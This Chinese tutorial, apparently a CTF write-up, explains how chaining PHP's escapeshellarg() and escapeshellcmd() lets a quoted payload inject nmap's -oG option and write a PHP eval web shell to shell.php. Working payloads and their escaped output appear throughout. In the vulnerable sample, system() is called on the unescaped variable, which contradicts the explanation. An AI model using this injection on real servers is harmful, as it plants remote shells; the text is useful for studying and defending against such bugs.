一、函数功能:
1、escapeshellarg():
把字符串转码为可以在 shell 命令里使用的参数,给字符串增加一个单引号,并且能引用或者转码任何已经存在的单引号
例子:
<?php $a="'ls'"; echo escapeshellarg($a); ?>
结果为 ' '\'' ls '\'''
2、escapeshellcmd():
对shell指令的保留字符(&#;`|*?~<>^()[]{}$,x0A和xFF)进行转移,'和"仅在不配对儿的时候被转义
例子:
<?php $a="123?'"; echo escapeshellcmd($a); ?>
结果为 123\?\'
二、发生场景:
escapeshellarg -> escapeshellcmd这种处理顺序才会chufa触发
仔细想想其实这可以算是escapeshellarg
和escapeshellcmd
的设计问题,因为先转义参数再转义命令是很正常的想法,但是它们在配合时并没有考虑到单引号带来的隐患。
三、绕过方法:
<?php $a=$_POST['a']; $b=escapeshellcmd(escapeshellarg($a)); system('nmap'.$a); ?>
我们想通过 -oG 命令植入shell,构造payload如下:
<?php @eval($_REQUEST["cmd"]);?> -oG shell.php
我们提交payload以后,会发现无法生成shell文件
问题出在escapeshellcmd(escapeshellarg($a))
经过这两个函数处理后,我们的payload会变为:
'\<\?php @eval\(\$REQUEST\["cmd"]\)\;\?\> -oG shell.php'
我们可以看到-oG已经成为字符串的一部分了,在字符串内,无法起到原本保存结果的作用
我们可以构造payload为:
' <?php @eval($_REQUEST["cmd"]);?> -oG shell.php ' (单引号与<>之间应该有空格)
<?php $a="'<?php @eval(\$_REQUEST["cmd"]);?> -oG shell.php'"; $b=escapeshellarg($a); $c=escapeshellcmd($b); echo $b; echo $c; ?> 结果为:''\'' <?php @eval($_REQUEST["cmd"]);?> -oG shell.php '\''' ''\\'' \<\?php @eval\(\$_REQUEST\["cmd"]\)\;\?\> -oG shell.php '\\'''
我们可以看到escapeshellarg添加到两端的引号已经起不到作用,原先起到转义作用的\,被escapeshellcmd再次转义,成为普通的\,''\\''可以简化为''\'',后面的'\\'''同理,经过一系列转化,原本两头的单引号重新配对,不在对原本的命令起到约束作用
单引号与<>之间应该有空格的原因是:没有空格的话,会变成这样shell.php'\\''',从而导致文件名出错,并且<无法被转义